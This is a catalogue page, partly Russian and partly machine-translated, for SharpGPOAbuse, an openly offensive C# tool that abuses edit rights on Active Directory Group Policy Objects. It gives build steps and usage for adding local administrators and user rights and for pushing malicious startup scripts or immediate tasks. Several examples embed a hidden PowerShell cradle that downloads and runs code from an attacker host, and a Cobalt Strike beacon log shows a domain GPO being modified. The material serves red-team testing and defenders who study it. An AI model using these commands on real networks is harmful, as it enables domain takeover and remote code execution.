SharpGPOAbuse

Post-Exploitation не обновлялся >2 лет

Приложение на C#, использующее права редактирования объекта групповой политики (GPO) для компрометации управляемых им объектов.


Установка
git clone https://github.com/ReversecLabs/SharpGPOAbuse.git
# Visual Studio: открыть SharpGPOAbuse.sln -> Build (восстановить NuGet-пакеты)
# или командная строка:
dotnet build SharpGPOAbuse.csproj
# Готовый EXE доступен в GitHub Releases
показать оригинал переведено ИИ

SharpGPOAbuse

SharpGPOAbuse — это приложение на .NET, написанное на C#, которое может использоваться для использования прав пользователя на редактирование объекта групповой политики (GPO) с целью компрометации объектов, управляемых этой GPO.

Подробнее можно узнать в следующем блоге: ...

Инструкции по компиляции

Убедитесь, что необходимые пакеты NuGet установлены правильно, и просто соберите проект в Visual Studio.

Использование

Usage:
        SharpGPOAbuse.exe <AttackType> <AttackOptions>

Типы атак

В настоящее время SharpGPOAbuse поддерживает следующие опции:

Опция Описание
... Добавить права пользователю
--AddLocalAdmin Добавить пользователя в группу локальных администраторов
... Добавить новый скрипт запуска компьютера
... Настроить скрипт входа пользователя
... Настроить немедленную задачу компьютера
... Добавить немедленную задачу пользователю

Опции атак

Добавление прав пользователя

Options required to add new user rights:
--UserRights
        Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
        Set the account to add the new rights.
--GPOName
        The name of the vulnerable GPO.

Example:
        SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

Добавление локального администратора

Options required to add a new local admin:
--UserAccount
        Set the name of the account to be added in local admins.
--GPOName
        The name of the vulnerable GPO.

Example:
        SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

Настройка скрипта входа пользователя или компьютера

Options required to add a new user or computer startup script:
--ScriptName
        Set the name of the new startup script.
--ScriptContents
        Set the contents of the new startup script.
--GPOName
        The name of the vulnerable GPO.

Example: 
        SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Если вы хотите запускать вредоносный скрипт только на определённом пользователе или компьютере, управляемом уязвимой GPO, вы можете добавить условное выражение в вредоносный скрипт:

SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Настройка немедленной задачи компьютера или пользователя

Options required to add a new computer or user immediate task:

--TaskName
        Set the name of the new computer task.
--Author
        Set the author of the new task (use a DA account).
--Command
        Command to execute.
--Arguments
        Arguments passed to the command.
--GPOName
        The name of the vulnerable GPO.

Additional User Task Options:
--FilterEnabled
        Enable Target Filtering for user immediate tasks.
--TargetUsername
        The user to target. The malicious task will run only on the specified user. Should be in the format <DOMAIN>\<USERNAME>
--TargetUserSID
        The targeted user's SID.

Additional Computer Task Options:
--FilterEnabled
        Enable Target Filtering for computer immediate tasks.
--TargetDnsName
        The DNS name of the computer to target. The malicious task will run only on the specified host.

Example: 
        SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Если вы хотите запускать вредоносную задачу только на определённом пользователе или компьютере, управляемом уязвимой GPO, вы можете использовать следующее:

SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com

Дополнительные опции

Опция Описание
--DomainController Установить целевой контроллер домена
--Domain Установить целевой домен
--Force Перезаписать существующие файлы, если требуется

Пример вывода

beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
Войдите, чтобы оставить комментарий